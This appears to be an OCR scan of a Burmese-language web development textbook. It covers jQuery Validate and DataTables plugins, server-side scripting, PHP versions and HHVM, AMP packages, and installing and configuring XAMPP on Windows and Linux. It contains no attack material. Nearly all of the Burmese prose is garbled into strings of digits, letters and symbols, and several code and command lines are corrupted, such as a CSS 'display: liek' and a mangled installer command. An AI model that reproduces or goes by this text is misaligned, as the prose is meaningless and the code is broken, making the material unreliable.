invakud@email 

Please enter a valid email address. 

URL (optional) 

Your comment (required) 

This field is required. 

Submit 
0 (9-92) jQuery Validate Plugin Example 
96:(0209603s9q6 o (9:95) eoceo[ocoo:ooco Rule §0030503803 Element 602320905 Error Message 
o e oc > > IN c ;| o onc IN 

co MVY Element ¿3207 0300360963900 1 Error Message cogo? Error co[8622063206 


(98 CSS $03:905: copse0:8 Golosi Plugin à0lcooo? CSS 09225:66$60020lop:t $0314 09:09 
Eus Bags onec los 


° 


label { 
display: liek 
color: #555; 


label.error { 
color: #900; 
fonte- se v ler Curae 





@g205005e0900200603 Plugin meo jQuery DataTable Plugin [ešcloooSi DataTable Plugin o> 
9:4: HTML Table 029909 Data Grid 0299900lo6ecoQ02 Sort, Filter, Per Page Selector, Paging 
602 coo 26:60:02 Plugin [$óoloooŠi Download qo»c9«66002 datatables.net go qorécolo Sn 
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Show 10 “ entries Search: 
Rendering engine ^ Browser © Platform(s) $ Engine version $ CSS grade 
Gecko Firefox 1.0 Win 98+ / OSX.2+ AER A 
Gecko Firefox 1.5 Win 98+ / OSX.2+ 1.8 A 
Gecko Firefox 2.0 Win 98+ / OSX.2+ 1.8 A 
Gecko Firefox 3.0 Win 2k+ / OSX.3+ 1.9 A 
Gecko Camino 1.0 OSX.24 1.8 A 
Gecko Camino 1.5 OSX.34 1.8 A 
Gecko Netscape 7.2 Win 95+ / Mac OS 8.6-9.2 1.7 A 
Gecko Netscape Browser 8 Win 98SE+ 1.7 A 
Gecko Netscape Navigator 9 Win 98+ / OSX.2+ 1.8 A 
Gecko Mozilla 1.0 Win 95+ / OSX.1+ 1 A 
Showing 1 to 10 of 58 entries 2 3 4 5 Next Last 
. š š 
© (9-g) jQuery DataTable Plugin 
° c e c e ° ° : e e Q x ° e 
səc|8ŠcoOcsooCajoocoosocoo5 3905;(0}006091 Grid ga[gde[Goé:0$03 HTML Table o? Select apo 


(8: dataTable () Function 990590560:0805030(860los051 cSsada3apdeaorEqj05e0303 DataTable 


. M c ç ç oc e 
Plugin o» 02005 0099026:60:030:0108 8005 


s ("table") .dataTable(); 


Table cógo Record qp:qp:$e $RP È eƏ:c9səsoCc[oeoƏ Sesqpeo 6$:660:60090lop: 1 


Download q05000:03320590 oloécooo? $9$009(0229(8: ecocoošcoloooSi 


Conclusion 

eo5(p30? Plugin 60202609) 390) :qp:0? Plugin copfos: Image Gallery, Slideshow, Scrollable, 

Video/ Audio Player, Carousel, Chart & Graph, Navigation Menu, Page Scroller, Rich Text Editor 
e : e o 90 ° ` e ° e co c ` e e 

ofeg se(go: Plugin cop: saĝ: fj: Jef 0232020? 3225:3[0209e09s9q6 User Interface 0050005 

033006:90 320:09:020903096 6$03:6$00c960090 322563299: q]&6 go[890looo5u 


Professional Web Developer Course 
gjo] səc[o2oC:sospap:o0 veo 
DPen 080803E wipeo 
soadogadag - (og) Jay GJE 200 
www.fairway.com.mm 
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3994: (G) PHP Basic 


Request/Response qp: $6(s6:! Cookie/Session qp: $5(56: 


HTML Document 6030599 JavaScript afos PHP, ASP.NET, JSP, Ruby, Python, Perl oo? sa[ao: 
S : ° € € < oc ;| ç j| ç s ^ S 
cript coga): 0092996:69:050:4€0le20:000Ài 3160602 JavaScript oo Web Browser oóespo?9 
ç emerge c . T C es " y 
SəcoOcoÓ (ac: (698: agg Script cogeo Web Server eol o» saoo} Server-side Script eoo 
Ciosi 














<!doctype html> 
<html> 
<body> 
<hl> ... </h1> 
<? print date("d.m.Y") ?> 
<p> ... </p> 
<script> 
function() { ... } 
</script> 
</body> 
</html> 








index.php <!doctype html> 


Content-Type: text/html <html> 


l <body> 
<h1> ... </h1> 
31.03.2013 
<p> ... </p> 
You 


<script> 
function() { ... ) 
</script> 
</body> 
</html> 











9 (6-09) Server-side Script 320900900 


9 C) peyna eye Document or6999026:¢2 HTML ¿s007 PHP Script à 


JavaScript eoo p$: 68:00: 000: 011 Original Script c5eooloéo) - 
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<? print date("d.m.Y") ?> 


- UN 00059905803 eo3(peoo? PHP Script [ešoloooŠi Document o? Request asoa Server oo 


o COCO oc ç o Ç IN ` : e ` IN c 
ES 832090 :[0960:090390011 3leveaS Document cogo PHP Script ec20lo66$02320505 q 
c c X . e > c e IN ° Ç ° c c 
(as: Respond ecpoeoo:61 PHP Script 02995 [022:000:02 QPOSSOICQI|NIGOQAP AH: aN 
o Ç IN e co exo c Q e > c c o C 
Amolor Sepp VAARI coeo[oco:olco 22 § [022:000:02320205 eoS(peo: c909goolu 
HTML/CSS/JavaScript 602096009ec8 0lop: I PHP Script 602036 cg:ajoSsəcoó asf: Gaoo5s0: g, 
cooo) qcosoo[ošeo: eo[eŠ oloooSI Result Output o? ccocoo[o2o2q é PHP Script e0260lo660020 
qo38029900 3202:09: oloécooo»o Neog Rolos səo:[o|oo ($900 go Original 
Document 07030 Result Output o? (090095 coo5óqqeoo[eëoloooši 
yaa I II (o4 cop9qQeo$q0300 səc[esəcscolecoo5[6: c[SoS:coeseo[eóco Server-side Script eog œ$: 
eq: 2903000:03 Document co Dynamic Web Document ca esl [o30lo»o5u 


Script c? Server eol god 39096095030:03390205 Server-side Script ca esT'o»»olu MAGO Web 

Browser 60202 PHP o9 ASP.NET oa Server-side Script 60203 so:copo[9: socpdcpdeu:8E[sé: 
IN o ;| ç oc : ° C < 

cogo: egolop:i Web Server 0560222505«9Cep Programming Language 0? $0:c0p503 Module eog 

o c £ Q _ € ere c c oc c IN 

o» Install c5660:000:605 ac go:cop3(8:2209609060:$69o [ešoloooŠi 


PHP 
ASP.NET 
Java 

static files 
ColdFusion 
Ruby 

Peri 


JavaScript 


Python 
Erlang 


Percentages of websites using various server-side programming languages 
Note: a website may use more than one server-side programming language 


Q (6-2) Market Share of Server-side Scripts 








joo 949 63220509202 (99) goes eo»o0$09q$0? 0908: 4p:320] Server-side Script 6034, 
300): [0/9 vom ó GC-9) e» ceo[oco:coo:oloooSi coo5ƏsəCooÑososcoloo Website copa, o J.o% 
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oc Ç Q 2 ç O oo IN e IN X IN 
So96$4:00 PHP o? 3239: [b|coo:oooScooSqaoloooŠii oq|$006qp:0? $99:0920609006009 ASP.NET, 
Java à Ruby 030(gdolo051 Server-side Script 603390530315 9:4: HTML/CSS, JavaScript 
990399058 eq:200:000:0? Website eopcop$: Qolooo3i ColdFusion à Perl o3c8 $09:0900602026002 
02902033299:qp::c96090901 32600040969099:00 329):qp:39:02 $09:0p2060 [sde mes 
Oc O «eG IN ° X : co > c IN € 
3aq|$cO 323$09:0000602 95:000:0? Website cop 03|$964620:02256200 [ešoloooSi NodeJS $90: 
< 


Op 00690: 002(86:8, 3902 JavaScript o? Server-side script so (So cops: 3905;(G,c0065 (02018 v 


Link: w3techs.com/technologies/overview/programming language/all 


Web App 320:c9:09 3260009 0992096006000:0026050395: Roa Aeon [9| qoleo3i ón: 
copa 32032009: 60290 asce: avds: oeo Web App coo: pr [argot ©6006: 
0200305023209 90 asce: App Gog dloégoeup7050la9% t 


6.1 - PHP Development Environment 

PHP 4 Server-side Script coge: [eones gaged: Development Environment 02990009 
@s00058 Adol 02036q:200:0$09:9000 Server-side Script cos$con (9 e3030$q ooo 
° e c c e e e coc c e 

NOA: Web Server 00930(96 [isoa 099 @g2000:06:0068690(8d0lod051 


soe Operating System NA: 0099026:05:00: 990) səa|jo5coóa|oS[eeoloooŠi Desktop 
oəšq||ooosəesš Windows OS As: qp:meveo Server 03$qJ[022602 926072 Linux OS o? 390): 
qp: [os Windows š Linux 299 as: 90089 losn 90600009 eo»: File Name eo 


oo» Windows oo Case-sensitive e(8$eoeoi Linux go Case-sensitive (S9olo»o5u Windows oo 











readme.txt à README.txt cÓ 326p960:000:0? File ¿0909 Folder 02990009:90 320202000: Reş) 





olo: File Name coeeocooŠcoc|oool eosi Linux geo ooo:c9qolo»o3i Name 02656000) 


səo>:[O|coo:o>ooco:so[o2: 32620: eo dol 


og|ŠcooSoooocoopŠ: PHP Development o? Linux eol'eo(g[c96 $6 66002 3960206295: (5$ olo» 05i App 
OB 6q:220:0? Environment à coo$eogc960060? Environment 02 0209250:02320209 OS ogo[eo: 9 
easan [Goorogr0rdq ecos: [gdeoREclosu5u (8:60»9! Web Developer o2$602205 
3968à Web App o? G$:200:60:034 sacodare(8: GOD: olopen Web Server OS aol go Project File cog 


Solac:1 Server Setting 0205 RO App š RNA csmc[ocaoc(ac:0ágeo (o [ood Geos: sado! 
€ : ° c ° co c "00 CO IN c 
oo Linux OS o» ©000095:0939053(0] exc OS $ Q9$6:8:09J0:0C 222: :(6: Server o? $603 32s] 
Command Line Interface, SSH, File Permission, User Account Management 2090 Linux 
ç ° IN e ore c Oç Oo oo IN c ç e ° 
see(s(o| &99:09226090? o3j6:03699[8:(896s $6 04 QƏsəsocc[ocoeo (S90lo»o5u 006$690590C929: 
qp:o? Ubuntu Linux, LinuxMint, Fedora 2090 Linux OS cogo a:f es098c901 Windows 
O o ç ° oc ç c oc e e Qo On ° oc c jl c 
o? desa (o ca 026602003 3041830 qp: 3:60: (8: coOƏccocoooçroecoÓ a:f Rip RES O2OII 
Web Developer qp: Linux o? ENPI 32600009320 [69698 qg: Ubuntu - 206320905 
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Linux 3$.030039500639608 ogj$eoo3es:22o: (919000: osn ec9coo(o2098 aL Rolon 

PHP Development Environment mesmo səc[ešsoo: [es (2) golosi Web Server, PHP š 
Database Management System (DBMS) Resol Web Server 3265à ameg: gso Q) 
° ° ;| IN : >b Os c ;| IN 

qel Apache, Nginx š IIS mosso ona II 


joo6 3501 aĝolimo odo: Apache Web Server o? səCooososeoleo sacoé 
Ñ: Website qÀ 96.20% oo zan): (0s$(8: se0}:aaqp:05: Web Server Software cošə[eëol 

ç : 2 9 e e ° ocro e e e e 
07051 Operating System 320:09:$:0l:90 copgo9c:300):[0/$c[(8: Open Source sə5:ooooooóəcoo5: [eë 
oloooŠi Mosaic Browser 030306303 NCSA oò o9096000:0? NCSA HTTPd cŠ saep5qo3 Web 
Server Software colg sel [o maicena coo: (ac:[sdolorn 


nginx (sacqjé x c9320509 09qolo»03) MN: Open Source Web Server Software 0269[8dclos051 
c ç o e c M IN c OC xs c 
slef gh 3209:32220:60:000:(8: Reverse Proxy 02093268 432c9009060:$C 02 Web Server 0209 
c c ° ç M cC Ç O cre Ç x 
(S90lo»o5u ase: ql: Igor Sysoev saep5qo03 Developer oo 00co$03:000:000(90/8: opcopo:ó OS 
. O ` M ç ° oc € co o IN ° ° c ç 
39:09: $:okà om fR olo» ón asg welo Q: 3:3: Web Server [ešoloooSi 


IIS meon Web Server ao [o6 Email Server, FTP Server o20lo:o50loG(8: Microsoft Windows à 

320033206:0299 copo: fsd Windows XP, Windows Server 2003, Windows 7, Windows 

Server 2008 ooo(s6 Windows Version aec909026090lo60? IIS Version wgs: o3(92:222:6c9 Ql 
e 

onu 


PHP o? eeo[oƏo> Server s90:09:8 o30093oo»:[9|& 62009 ob:coo5:o5:es[o3oloooSi sleoeo? PHP š 
03005 səob:[O|g3əepp:s5:oocooo Apache Web Server (gSclos05u ag|§eorS0R000005: somos 
eo$ $@šoçooço Apache Bd səo>:[o|eeo[oopoo: eoooeooli 


PHP Development Environment 390305 egnasc$ae5a]050269M60r Database Management 
System (DBMS) (eSolos051 DBMS eo seq: dll: 9oloooŠii Programming Language coəc9Ó NA 

O Ç xs o ç C x e e e ° co ° e 
320905 Aoa: fen: p oqpo3(94o? o0oo2oq 6008 s(s$0lo»o5i adj DBMS common 

° OC x e e e ç e e e ç C v 
so $602 General Purpose DBMS cogeo $0500500909320205 oŠ:[eo:qo5goso 
Special Purpose DBMS eo cop5:Goless:02050005 DERE) Standalone Database cogeo: 
ARLON Client-Server Model §3909:|0 (o $do> Database Server eog [e ale: ALR 
Relational Database Management System (RDBMS) ceesl (8: 0204], ,096009 NoSQL Database 


System Seal [as[o§olooc5u 


S e 


PHP oo Database System seq: dj: à 3605 0532090 50968 ¿coloocón 8 SoosoOeocooo PHP 803005 0$ səoà: [o| 


oco 


&C@ MySQL Database Server o» 03005 3299: (9i Go v3(960:239:90011 MySQL səc[o2oc :09 6§009 033995: 
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eocoeo[oco:oleoŠi $398§:90602) Development Environment 390305 Installation 096403099 


oop?o96:eo9(0 GO; goolu 


6.2 - AMP Packages 
AMP on Apache-MySQL-PHP/Perl/Python acom Tolo AMP Package oN 
meon Apache, MySQL à PHP (08) Perl (08) Python s9030$050260lo005:0loéo3 Software 
Package 0264}):(d0loo05u Apache Web Server oo C005 §}3905: a:a: Web Server (afb: PHP 
e co ° ° . . e e eC. o 8 o ° ° c ` 
UVA: AMNA: 3:0: Server-side Script (S9e(o226: eoo oln Sa: a:a: Geo 
326 ONDE: 6:090 AMP Packages 609000093: oo0əsəolsəooc[eóolcooŠ!i AMP Package cozo PHP 
Development Environment 006903 SSN O»p96s0009$ 663206 3209320960:0loo03i 


eo CoO E ° ee e Q CN IN e c IN IN c 
o$ Apache Web Server o» Install c9O(8:64005 03200) LagS as eange 
Module cooo 00680099096: q 0100051 [8:o5səsl PHP o? Install coó Š: 990095:6 (egos 
coÓesoocajoo 609320905 səc[eŠ Extension co2 coóó 0093036:60:4 0100051 ë¿[Šsoeoooo mod php 
° ` es > > c coco : IN IN 
o» Apache Module cog soup Apache š PHP 9:0} 39050090460 Setting coo 6«:250:2505905 
€ ç Oo o o c o co € IN IN ç Oo o 
olor mao) Request q: Apache oo o?05q05 Response (0499090): mao? Request qj: 
o Ç > c ere ç S. e e e o OQ coc IN 
qc PHP š səcoOcoo[0:e Response (0499095: oo(96 900390360:@ adRoll GCcOcoooo 
0063:30654 PHP 0026eq 2000: 06:006868 3leogo? 029986: RASPE Age ecəoŠ5oloq: t 
AMP Packages cooo 3[oo55šoc0e[eqé:co:olooošiu WAMP, LAMP, MAMP, Bitnami, DAMP, 
Zend Server oo? AMP Package coosəqp:[o3:qoloooši 338 Package cozom Developer coə2səeaš, 929 
cere : c o x ° IN Ç QO Son 
@ood[8: Opsop:eogeog Setting c90e80specoó Package a) ope: Apache Web Server, 
PHP š MySQL š 300306 Module eo Extension cooo odolo: copdo2c:co:(8: 2000 (o 
¿Cesc QoƏco:oloooSi AMP Package cog coob:gpp:ooo meon WAMP, LAMP à MAMP o? 
o[eóoloooSi esoo$00 AMP cogoocoso səƏgloSsəoooooloi WAMP à egoo W oo Windows o? 
92923§2020(9608 WAMP ooo Windows gos): (0 $603 AMP Package coëə[eëolooo5i LAMP à L 
meon Linux Ras: LAMP meo Linux 390305 AMP Package (gSolos05 MAMP 4 
69,59: oo M o» Mac o? at: MAMP ooo Mac 390305 AMP Package (gSclos05 


299998980? Apache Friends coes[o>sə@səeo5:oooooo WAMP, LAMP à MAMP 0303 XAMPP 
8803 3909500698 $0p9:60:000:0looo91. XAMPP govloéo3 X oo Cross-Platform soo>səƏgloS[eëol 


0051 P §605:(96030:0200060>7 PHP š Perl s05:0920&94]|: loaz 
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6.3 - Getting XAMPP 

XAMPP Installer o? apachefriends.org qo Download aorécolo ón Windows, Linux, Mac oo? 
OS qp: 320200 Installer 60 3909660:002:01lo205 11 Soeg one $p XAMPP 5.5.38, 5.6.24 š 
7.0.9 388: Version ob:d|:qesoloooSi Sepp PHP Version cop32e[o256: ao(026:qjé: oop?e(029 
Amnolor 


PHP go 280 Major Version aó: folos PHP5 š PHP7 [ešoloooSi PHP5 un NE): 
eĝa 39800 Version [eŠoloooSi PHP5 gocops: 5.3, 5.4, 5.5, 5.6 oof saaogs0g jols: 00051 308 
IN eo IN ° : ` ç IN ç Oo CN IN c 
3as0€s0C feve 320:09:00 PHPS Series cogs coloco: (59 c9 020980209 32€9:60g0lop: 1 
: IN oc ° [> o e c IN c e IN c co IN IN 
Version leĝa: ojeg: QcoxoC:cooooooloooŠ!I cacao 322590094] oloécooooo$ól 
cooSi slefaxg sae[9daa0:(6¢ Version (eco Goo06:6c0009 colonos XAMPP 5.5.38 LaS 
PHPS.5 oloéo? Package s8.03a08glu5(96(8:1 XAMPP 5.6.24 Econ PHP5.6 oloCo> Package c9 
so:cop5geo (s$0lo»o5u 


o o on 2 Ox ç ç A88 oç x ç o0 c 
PHP oo PHP6 ov egolop:u Jeon Asos Sleoeos 32qp:o9:8e(oX(£»$60? BON SEPA 
c9o30log: v slefoxg PHP6 soplo: 6800989:00060905Q022020006002 PHP7 [eëoloooŠi XAMPP 
7.0.9 3846 PHP7 oloéo} Package cŠ so:copoqeo [eëoloooŠi 30039690 PHP7 vloéo3 XAMPP o? 
2 e. IS ç LAS : ç ç : ES +o ç ç 

3905;(0)(8: 3003 0003603(G930:¢90 odolo Version $o0lo560200600? 39(809:02096$ eoolu 9260502 
3968à XAMPP o? Download asos] XAMPP 7.x.x Version o? gees Download QRQ 

° 


O Ç oc ° ç ` Co c c o Q. ` c Cos ` 
NRO Download ARINA you coa: 3903908320? o36030lo60? DVD 050268 |UD 


aeos: (oj$6olooo5u 


6.4 - PHP 7 
PHP o» ao(go: Programming Language coàs qs Language Design 96: 32018 000508 Boog 


geo Language oo$s(s$olooo$: PHP 03 woseo, ojo loo asc: s9095:602 cooo 
Facebook oo sa[o3:08:8 véase: sQàcoloooSi sle Facebook səesš PHP eogezo> 
32014 0919026020? 92599:99008& e(sq6:8 32 A+]. 200: 0703301001 OCOƏS0:32G8àš (Jooo) 94990 
HipHop for PHP (HPHPc) c9esT03409:0922009 d]: oo odg oloo HPHPc ooo Compiler 0004]: 
(a6: PHP Code Goo C++ Code (8963226 e(026:60:&60lo»o5u C++ Code e(o26:(8:6029 
Compile 09003390305 9:4: PHP Interpreter oo05 QO:68006 0586: Qeon: olos 680096009 
HPHPc o? HHVM (HipHop Virtual Machine - hhvm.com) esl ogo: 3202:09: Q0] 
ooo! HHVM œ HPHPc co C++ o? o»9so€8e(006:e64 o PHP Code 60303 ordslooas: Byte Code 


elooé : Compile coÓco:o) Runtime sp5:ooso[eóoloooŠi 


° IN 


slao(o6 Hack (hacklang.org) eslo) Programming Language O64): 030005: Facebook a> 80968 
(G§0lea0:00051 PHP ooo gcoo5oooosəg Dynamic Type Language odg] kdl Hack o» PHP 
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Code cooo Static Type səesšespi Dynamic Type 3268 &ol 90090008 eg:qjo5eq:220:$ 663206 
GŠ 09:60:000:0) Language o» [s90lo»oóu 


PHP o?seos:(ojes (202 Developer coga oA: ga[6§ 8:860206:03 HHVM à Language Design 96: 
Oc0006:02 Hack NR 6000058320:60:9 o»9 [s p9:(8p9:qp:coo(8:! səaoolo59o go PHP o? HHVM à 

° o cC Q o > jl € ° co ç ` ` 
3290:00:Q CoN: QQE AVS PHP oocoo5sjoooošooesoo PHP Core Developer coosəešš 
23239990 Unicode Support 4 so [so:coOesooCa|o5ooécoooloCo PHP6 o? 32600063200036098 
(03:09:8300011 3leoeo? woseo, PHP6 o» eqeso05$60 ecso»ó[eG(6964033o4|$ o Facebook e, 
HHVM o» poo peons: səgoo5cco: qef: [eŠoloooSi 


8 o70:0560 Hack à HPHPc à 32000:22qp0$0202 Zephire (zephir-lang.com) 3803 Language odg]: 
eol c00620:22c91 HippyVM (hippyvm.com) S904 95:09000095: eol'eolo$coooleo2: 00051 $08 PHP 
` e IN o ee. ç S, S. IN e IN ` e, ç T )] IN 
À 320:809:q096020? Li: 3»(8$$4:60006:e3096 o3og6coo[o20? 23:(80:$59:0900609 aol culos 
sc: eon: səcoo:səcooo[eóoloooSi slàÓ! PHP Core Team ops: PHPNG c9eslo) 
Compiler ¿pS:0p0 996026903 o00609096coo30looo3! PHPNG vx HHVM c° Runtime $95: 
ogno g: ese: Qœ PHP Interpreter coo Jo% o[ešsoooSco Rol 03:30: [96 PHP Core 
Team oo HHVM o? 0958696:§03 §25:099008 6$09:3(86:0 [eð vlon 


(Jooç) ¿300800007 PHP Core Team Developer cozum PHP7 s$o3s00959008 se$00lo9 PHP 
Version o9 PHPNG coTleosəc[əš[8: oeooCesooégoscooà[o3oloooŠi (Jo09) 9&9 Senp so [9:o5o5 


elfas: Soeg ones iS Developer coga foz: ac coda onga: [053 (00(8 (ss 


olosi 


PHP7 ooo PHP5 coos eƏ:csooé qo s[ešaš: (Performance) 9e0006:(8:: səqpp:səo: [Sç Backward 
Compatible [eëoloooSi aao PHP5 320209 e«:00:000:0? Code copo? PHP7 à soošcoo5 
a: [gip [8ëcloooSi səqpp:səo: [Sç Backward Compatible [eŠoooolii ga[Ga5se0 Backward 
Compatible (890226009 eolo: So0200, ocoeso[o28! 3.080020(088 maras PHP5 
je Code wpa eo cee slef ¿300377060390 coeo[ocoo:o> Code eo2050» 
səa|,ooo PHP7 eo səcoOcooeo eooo5olog: I SoosoOeocooo zaplog PHP5 o? 3202:09: 2303609) 
eo [$903 PHP7 o9 ejooc: aa): (o, e63[G.290:400(Gd0l02051 3a[G§aa09§300:[8¢ 8923999» ceS[ocoo: 
03 Code eog za, vo PHPS Version ae$8qp:eo (poeo - PHP5.2) sacpdan5¢o eooo5oo:s0ooo 
o? wooo 
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6.5 - Installing XAMPP 
PHP7 oloco3 XAMPP o? Download Ql: Lq Install a q [ešoloooŠi Installer c? Run da 
qÊ (6-0) so cL eog qS oos 


[3] Setup 


Setup - XAMPP 


[=] Welcome to the XAMPP Setup Wizard. 





9 (6-0) XAMPP Windows - Installer Wizard 


Next Button o? gS: eolcooo20p$([020:q/09qp:20096: sooScoosesooCgoogo:oli coasagé:0$03 
$poropoo erica gy ojo ronca ajo toldos ego 307$ 


oop?og6:c909q6cop3: ooo[022040960»? egolop:! gfo o[Gdeegc$aa503 $09109006020060»? 
Apache, MySQL, PHP à phpMyAdmin o» [ešoloooSi 


o Dop in p Installation (910993 eo Windows UAC š Firewall 


° " e e ç IN wow ° 
NN "32940200205 Install Lliga: | "Service 
Best match o e e c ES 
6090? əc[o|eocoo: ofog cs:mosgc Yes, OK, 
XAMPP Con 

Desktop app Run as administrator 


Allow oo [ec Ada gS llev: go eceolàu 


Open file location 


Installation (8:030: 03201 9 Cu) y (9000:000% 


Pin to Start o c e oc 
XAMPP Control Panel səcosəccojooo galg 


Pin to taskbar ç Q ç NS ç 
eod! Aep eygqccops: Desktop colo 


XAMPP Control Panel Shortcut (0800705) Start 
Menu òm XAMPP Control Panel Neg: gq 


Uninstall 





olooo$« Bys] Shortcut eoleo Right- 
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° 


Click (910998: "Run as administrator" o» eg:(o: gaol Seong XAMPP goolocor 
c < < O Qe» A A ç o ° x ° ° D c 
Q90680068J026090? $603s»e| Administrator 6090509 6$22:900? (9o22sod]: c? e[o51602.q9» (9501 


ç 
O2OOII 


B XAMPP Control Panel v3.2.2 [ Compiled: Nov 12th 2015 ] 


XAMPP Control Panel v3.2.2 P Contig 


Module PID(s) Port(s) Actions — 


4572 
: Shell 
PS 80,443 | Stop m 


676 3306 i |__| Explorer 
E Services 
© Help 


H Quit 


The Mercury module is disabled ^ 
The Tomcat module is disabled 
Starting Check-Timer 
Control Panel Ready 
Attempting to start Apache app... 
Status change detected: running 
M Attempting to start MySQL app... 
4 [mysql] Status change detected: running 





Q (6-55) XAMPP Windows - Control Panel 


Apache Web Server o9905632c50c9060032090? 2009p Start Button o?&060:«gooli Apache 
Server oooG2go:(8s9q6 $ (8-92) eosogesqoosco Process ID (PID) à Server səcoócoóeso)> Port 
coa eLa səcoo:o2oolo MySQL Database Server o? eooéc$eócopo: o209896qp 
Start Button o? &óco:qgooli Q (Goo) gocon Apache ego MySQL ol §905:03 o(6:(9c9 Start 
Button 3200: Stop Button o9 320:c9:eo3(900o:0lo»o3u Windows o9 Restart 90004 [ofono 
o5səs] Start Button gf: Manual Start ecoóc9q6 64,99: Service Button BSS: Apache š 
MySQL NR Windows Service s [e° Register aso: qoos 


Apache Web Server œ Running (sde8a806 SEDO Web Browser ARES: URL Bar y 
http://localhost o$§050093{8: XAMPP Dashboard o? o€eqp058évlosu5 egooSordqja5g0 ó G-c) 
goeo3[p000:22c9q00309 AA N con XAMPP o? seke Install coO(G:(g$22c9 Apache 
Server wgs: oorésacndapde9(82803 oocoooo[eóoloooŠi 
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El Welcome to XAMPP x + _ a x 
E > 0 | localhost/dashboard x | = & E) om 
Apache Friends Applications FAQs HOW-TO Guides  PHPInfo ^ phpMyAdmin 


C) XAMPP Apache + MariaDB + PHP + Perl 


Welcome to XAMPP for Windows 7.0.9 


You have successfully installed XAMPP on this system! Now you can start using Apache, MariaDB, PHP and other components. You 
can find more info in the FAQs section or check the HOW-TO Guides for getting started with PHP applications. 


Start the XAMPP Control Panel to check the server status. 


Community 


XAMPP has been around for more than 10 years — there is a huge community behind it. You can get involved by joining our Forums, 
adding yourself to the Mailing List, and liking us on Facebook, following our exploits on Twitter, or adding us to your Google+ circles 


9 (6-c) XAMPP Dashboard 


$c9qceoSeqc? Browser go Request Time Out (96s $607? http://localhost 90c9:60l6: 95095 (0409 
oli 0005: 601E:9§ 60609 Request Time Out 6 soose dejos 8960? Apache Web Server ooo 
¿c[9c:o$o0> 390205(868Eclos05i 0004], Windows OS cogo IIS Web Server oo axola: [sŠ 
ca Apache Web Server c? coóó 0093296:0) 329] Web Server $R Port 00690295:08 səo5: [o 9 
(03:09: eg o»2e(o226 sa060e[G[gd0r050los051 caoc5coo[eócoooooooocooo Windows UAC š Anti- 
virus, Firewall oo? Program eogoo Apache o? Block aoo: ond]: [sëooo5oloooŠi Windows o? 
Restart osf: Apache o? Start Lfs osv Windows UAC à Anti-virus, Firewall eopoo 
Apache o? Block coÓecoo: Allow c99ecoo:ce:cooàqó Allow 9960: cool $08 Allow aseo: 
ç Apache oo eo$66o2:q66009 Apache à Port Setting o? e(96:8 9326 Rolou 

3o9d|$ c5 Browser oo http://localhost c So: XAMPP Dashboard c? Ye qea: 6 
(E-o) Noli Apache 320209 Config Button o? 856: Apache (httpd.conf) o? géolu 
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EJ XAMPP Control Panel v3.2.2 [ Compiled: Nov 12th 2015 ] 















[z] XAMPP Control Panel v3.2.2 F conta 
Modules Netstat 
Service Module PID(s) Port(s) Actions @ 
X| Apache | Start Admin | [Conf AT ra EI — 
B MySat | stat | [Admin] | Coni Apache (httpd-sslconf) 
FileZilla Start Admin Confi Apache (httpd-xampp.conf) 
Mercury Start Am] ea PHP (php.ini) 


phpMyAdmin (config.inc.php) 
Tomcat Start Admin Confi 

<Browse> [Apache] 
1:45:11 AM [main] The Tomcat module is disabled <Browse> [PHP] 
1:45:11 AM [main] Starting Check-Timer p 
1:45:11 AM [main] Control Panel Ready <Browse> [phpMyAdmin] 
1:45:15 AM [Apache] Attempting to stop Apache (PID: 4572) 
1:45:15 AM [Apache] Attempting to stop Apache (PID: 2528) 
1:45:15 AM [Apache] Status change detected: stopped 
1:45:16 AM [mysql] Attempting to stop MySQL app... 
1:45:21 AM [mysql] Status change detected: stopped 








9 (G-©) Opening Apache Config 


ero 


3202:09:60: Oli (8:03w031 XAMPP Control Panel o? Lses: Apache o? Start qson Sodo 
gocon Start (109508 q$292:22$(8 [ešoloooŠi 


Config BE gangi 9 (G-so) oo[ocoo:osco @0002§8: Listen 80 soe»: Listen 90 à 
e 
ò 








J httpd.conf - Notepad — O x 
File Edit Format View Help 

# Uncomment and change the directory if mutexes are file-based and the default 

# mutex file directory is not on a local disk or is not appropriate for some 

# other reason. 

# 

+ Mutex default: logs 


# 

# Listen: Allows you to bind Apache to specific IP addresses and/or 
# ports, instead of the default. See also the <VirtualHost> 

# directive. 

# 

# Change this to Listen on specific IP addresses as shown below to 


# prevent Apache from glomming onto all bound IP addresses. 
# 

#Listen 12.34.56.78:80 

Listen 


# 

# Dynamic Shared Object (DSO) Support 

# 

# To be able to use the functionality of a module which was built as a DSO you 
# have to place corresponding 'LoadModule' lines at this location so the 





Q (G-so) Editing Apache Port Setting 
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Apache à Port Setting o9 Default Value 80 3290: 90 à 3900:08:0$05(8{6603 XAMPP Dashboard 
0? 968320505 Browser URL go http://localhost:90 c9 agf: Qeon [eëoloooSi 3505:& Setting 
elgoc:000:99é e$009894060990 localhost 607,036: Localhost:90 à 3202:09: 00:0009 20790 
[ešoloooŠi 


Port Setting e(926:000:60e09 30:06 ec[0620:29: se] cooo XAMPP o? Uninstall llos: 3200068 
c e e e c ç ç ç ` ç ç e ç ` ° 

oo6eslo$ecooo (os Install as [oSls Zale sose epen: gico RJY RÄ, 320932 

° ` c ;| ç ° . ° Ç x` O cO C ç cre e e 

O? MAENG (850 NI 06:90 Emial (93) Sig 02035803«0032903(8:6002c0905: 320932 

eons: golosi 003700, 6800989:00qJo3500] 926q:99326(0206:3 200302054 § 32g[0932coo302 

0099996:60:000:0lo»o5i 


Install XAMPP on Linux 
XAMPP o? Linux 9o Install [Bicoocooocoosocsš Linux Installer ER 2:2 [ešoloooŠi 


Installer $6qQ(8:q6 3388603 Executable (edesare(Qné:60:8088Eclos05u 32909 eléc: ¿colon 


(8:03w031 Install Certs Eten 00286890305 Installer o? 32909 Run &&olo»oóu 


sudo chmod 755 xampp-linux-*-installer.run 


SUC . / xemiojo=— l| iinss—"—iline call Le c sauna 





XAMPP Installer oo c93200206 60502 / opt/1ampp Directory cooo cop9996: Install C9060:290:90 


coc IN 


[ešoloooŠi Install c99(8:65009 Apache, MySQL 003 Service coz0 32909 Start (9|c99860looo5u 


sudo /opt/lampp/lampp start 


Apache à MySQL saclsa0é XAMPP govloéo} Service səo:có:o0oco:ooo:eo[eóoloooSi start 

° o ° o o o ° oc e ° IN 
3200: Stop, restart oZapcaopo: c920093200:09:3299:[9]&6 olo» oou aeos: (oopoo Manual Start qə 
@g0E20080 OS condoms sachcsoco:eogieaé - 


/opt/lampp/lampp start 
Command o? /etc/rc.local File DQ 0099996:60:000: R oloni 0204], Linux 6079 oX9»:e 


ooc IN ° > . . O * ` IN ç > 
